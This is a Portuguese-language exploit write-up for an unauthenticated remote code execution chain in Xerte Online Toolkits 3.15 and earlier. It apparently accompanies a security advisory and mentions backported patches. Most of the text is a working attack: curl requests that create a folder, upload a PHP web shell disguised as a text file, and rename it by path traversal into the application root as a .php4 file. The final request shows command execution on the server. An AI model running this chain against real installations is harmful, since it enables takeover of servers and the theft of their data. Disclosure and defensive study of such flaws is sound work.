
Exploit não autenticado do Xerte Online Toolkits. Requer conhecer um nome de usuário válido.
As versões 3.15 e anteriores do Xerte Online Toolkits sofrem de 3 vulnerabilidades no componente /editor/elfinder/php/connector.php, que podem ser encadeadas por um atacante não autenticado para alcançar Execução Remota de Código (RCE).
Xerte Online Toolkits <= 3.15
Um patch retroportado foi aplicado às versões 3.15, 3.14 e 3.13
Usuários não autenticados podem fazer requisições ao componente connector em /editor/elfinder/php/connector.php
O código a seguir é usado como controle de acesso.
Arquivo: /editor/elfinder/php/connector.php Número da Linha: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
Isso redireciona usuários não autenticados, impedindo-os de receber a resposta de requisições não autenticadas; no entanto, isso não encerra a sessão e o código subsequente ainda é executado.
*Requer que o atacante saiba o nome do arquivo que deseja mover
Atacantes podem manipular o parâmetro "name" em uma requisição "rename" para o endpoint connector.php. Isso permite que atacantes usem um diretório existente para mover arquivos para fora do diretório de mídia do usuário.
Devido a um erro na regex do filtro de extensão de arquivo no connector.php, atacantes podem encadear uma vulnerabilidade de travessia de caminho presente nas mesmas versões do Xerte para mover um arquivo com código PHP malicioso para a raiz da aplicação com extensão .php4.
Arquivo: /editor/elfinder/php/connector.php Número da Linha: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
A regex php* apenas corresponde ao caractere anterior. Portanto, ela corresponderia a "ph", "php", "phppp", etc...
Se a autenticação estiver habilitada (o que não é a configuração padrão do Xerte), um atacante precisa saber (ou descobrir por força bruta) o nome de usuário de um usuário válido. Se a autenticação de Convidado for usada (o padrão), o diretório do projeto alvo seria simplesmente 1--Nottingham.
Um atacante não autenticado pode criar um diretório "example_dir" e enviar um arquivo "file.txt" com código PHP malicioso para qualquer diretório de projeto em USER-FILES/
Em seguida, eles podem usar as vulnerabilidades de Travessia de Caminho Relativa e Lista Incompleta de Entradas Não Permitidas presentes no Xerte para realizar uma travessia de caminho alterando o nome do arquivo enviado para "example_dir/../../../../file.php4", movendo file.txt para a raiz da aplicação como "file.php4", o que concede ao atacante execução remota de código.
curl 'http://localhost/xt/setup'
Parâmetros da Requisição: uploadDir: Raiz da aplicação + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL para o diretório do projeto cmd: mkdir name: O nome do novo diretório target: O id elfinder do diretório media/. Por ser a raiz do elfinder, será sempre "l1_Lw"
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*A tag
no payload impede que o filtro de tipo MIME do elfinder detecte código PHP.
Parâmetros da Requisição: uploadDir: Raiz da aplicação + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL para o diretório do projeto cmd: upload target: O id elfinder do diretório media/. Por ser a raiz do elfinder, será sempre "l1_Lw" upload[]: O arquivo a ser enviado.
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
Certifique-se de remover o padding; neste caso, é apenas "="
Adicione o identificador de volume. Ele será sempre "l1" (como em "/")
Resultado: l1_ZmlsZS50eHQ
Parâmetros da Requisição:
uploadDir: Raiz da aplicação + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: URL para o diretório do projeto
cmd: rename
name: O nome do diretório, a sequência de travessia de caminho e o novo nome do arquivo com extensão .php4
target: O id elfinder que geramos a partir do novo arquivo l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
Parâmetros da Requisição: cmd: O comando a ser executado
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)